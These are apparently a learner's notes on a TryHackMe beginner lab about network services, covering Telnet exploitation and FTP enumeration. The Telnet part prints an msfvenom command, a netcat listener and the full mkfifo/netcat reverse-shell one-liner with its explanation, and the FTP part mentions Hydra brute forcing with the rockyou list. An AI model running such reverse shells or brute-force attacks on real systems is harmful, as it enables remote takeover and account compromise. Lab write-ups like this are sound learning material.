TryHackMe: Complete Beginner

author:: Nathan Acks
date:: 2021-10-02

Network Services

Exploiting Telnet

# Listen for ICMP ping packets on an interface:
#
sudo tcpdump ip proto \icmp -i $IFACE

# Use Metasploit to generate the code for a remote shell:
# 
msfvenom -p cmd/unix/reverse_netcat lhost=$LOCAL_IP \
	lport=$LOCAL_PORT R

# Spin up a listener using netcat:
#
nc -lvp $LOCAL_PORT

In this exercise, Metasploit generates code that looks like this:

mkfifo /tmp/qdsrgu; \
	nc $LOCAL_IP $LOCAL_PORT 0</tmp/qdsrgu | \
	/bin/sh >/tmp/qdsrgu 2>&1; \
	rm /tmp/qdsrgu

($LOCAL_IP and $LOCAL_PORT aren’t literal - they’re actually the local IP address of my machine on TryHackMe’s VPN and my chosen port. Neither of which should be particularly sensitive, but I’m still not going to post it on the internet!)

What’s going on here?

mkfifo /tmp/qdsrgu creates a named pipe at /tmp/qdsrgu.
We then spin up a netcat instance directed at our local machine (nc $LOCAL_IP $LOCAL_PORT), direct the contents of the pipe into netcat’s STDIN (0< /tmp/qdsrgu), pipe the output of netcat to a shell we know probably exists (| /bin/sh), and finally redirect both STDOUT and STDERR back into the named pipe (> /tmp/qdsrgu 2>&1).
On the local machine, nc -lvp $LOCAL_PORT listens for the incoming netcat connection from the remote. Anything we type on STDIN here gets sent to the remote and piped to /bin/sh there. The output of /bin/sh is then sent to the named pipe, which dumps into (the remote) netcat, which then sends the data to the local machine where it ends up on STDOUT.

Understanding FTP

The active vs. passive FTP distinction is about how the server handles establishing the data channel (the command channel is always set up by the client connecting to the server).

Active FTP: The client opens a port which the server actively connects to when establishing the data channel.

Passive FTP: The server opens a port which the client connects to when establishing the data channel.

File Transfer Protocol (Wikipedia)

Enumerating FTP

FTP denotes user accounts using a leading tilde; thus cwd ~admin will attempt to change the current working directory to the home directory of the admin user. Some (older) FTP daemons have a vulnerability where they allow the use of the cwd directory before login, and will return an error when attempting to change to a non-existent user directory.

Use nmap’s -sV option to attempt to probe for the service name and version information behind an open port.

Anonymous FTP logins, if allowed, use the username anonymous and a blank password.

Solaris 2.6/7.0 - IN.FTPD CWD ‘Username’ Enumeration

Exploiting FTP

Hydra can directly try to brute force passwords on remote machines.

Kali’s rockyou.txt.gz is apparently a list of 14 million passwords dumped during the hack of some service called RockYou that I hadn’t previously heard of. Apparently RockYou was a social network that allowed direct connection to other social networks (including Facebook and MySpace)… And stored all of the relevant passwords (including their own) in the clear!